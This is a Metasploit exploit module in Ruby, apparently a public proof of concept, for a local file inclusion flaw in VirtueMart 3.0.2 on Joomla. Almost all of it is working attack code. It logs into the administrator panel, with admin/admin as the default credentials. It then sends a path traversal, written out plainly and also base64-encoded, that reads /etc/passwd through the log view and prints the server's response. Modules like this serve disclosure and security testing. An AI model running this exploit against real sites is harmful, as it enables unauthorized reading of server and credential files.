##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'VirtueMart 3 - LFI poc for authenticated users',
        'Description' => %q{
                VirtueMart 3.0.2 is vulnerable to local file include attack.
                Authenticated user can read local files from the server.

                More here: https://twitter.com/HauntITBlog
      },
      'Author' =>
        [
          'HauntIT Blog', # Discovery
                                                  # MSF module (based on http://hauntit.blogspot.com/2015/01/en-hikashop-lfi-metasploit-module.html)
          'http://hauntit.blogspot.com'
        ],
      'License' => MSF_LICENSE,
      'Privileged' => false,
      'Platform'   => ['php'],
      'Arch'       => ARCH_PHP,
      'Targets' =>
        [
          [ 'Automatic', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => ' 23.12.2014'))
      register_options(
      [
        OptString.new('TARGETURI', [ true, "Base Joomla directory path", 'joomla']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
        OptRegexp.new('READFILE', [ false, 'Full path to file you want to read', '../etc/passwd'] ),
      ], self.class)
    end

  def check
  end

  def fetchMd5(my_string)
    if my_string  =~ /([0-9a-fA-F]{32})/
      return $1
    end
    return nil
  end


  def exploit
    # 1st, we will get cookies and token
    req1 = send_request_cgi({
        'method'        => 'GET',
        'uri'           => normalize_uri(target_uri.path,'administrator','index.php')
    })
    cookies = req1['set-cookie']
    if not req1
      fail_with("[-] Failed with 1st request")
    end

    print_status("[+] Good: " + req1.code.to_s)
    print_good("[+] Got cookie(s): " + cookies)

    token_pattern = /(<input type=\"hidden\" name=\"[a-zA-Z0-9]*\" value=\"1\")/
    if req1.body =~ token_pattern
      token = fetchMd5(req1.body)
      print_good("[+] Got token: "+ token.to_s)
    else
      print_status("[-] Token not found")
    end


    # now we need to do auth using that token and cookies
    print_status("[+] Trying to auth...")

    auth = send_request_cgi({
        'method'        => 'POST',
        'uri'           => normalize_uri(target_uri.path,'administrator','index.php'),
        'cookie'        => cookies,
        'vars_post'     => {
                'username'      => datastore['USERNAME'],
                'passwd'        => datastore['PASSWORD'],
                'option'        => 'com_login',
                'task'          => 'login',
                'return'        => 'aW5kZXgucGhwP29wdGlvbj1jb21fdmlydHVlbWFydCZ2aWV3PWxvZyZ0YXNrPWVkaXQmbG9nZmlsZT0uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGFzc3dk',
                token.to_s => 1
      }
    })

    print_good("[+] Code after auth: " + auth.code.to_s)


    # 3rd step: get + post params to lfi
    print_good('[+] Exploit...')
    readthis =  "../../../../../../../../../../../../../../../../../../etc/passwd"

    xpl = send_request_cgi({
        'method'        => 'GET',
        'uri'           => normalize_uri(target_uri.path,'administrator','index.php'),
        'vars_get'      => {
                 'option'   => 'com_virtuemart',
                 'view'  => 'log',
                 'task'  => 'edit',
                 'logfile'    => readthis
        },
        'cookie'        => cookies
    })

    if xpl
      print_good("[+] Exploit response code: " + xpl.code.to_s)
      print_good("[+] Response body after attack:")
      print_status(xpl.body)
    else
      fail_with("[-] Cannot exploit it :C")
    end
  end # exploit

end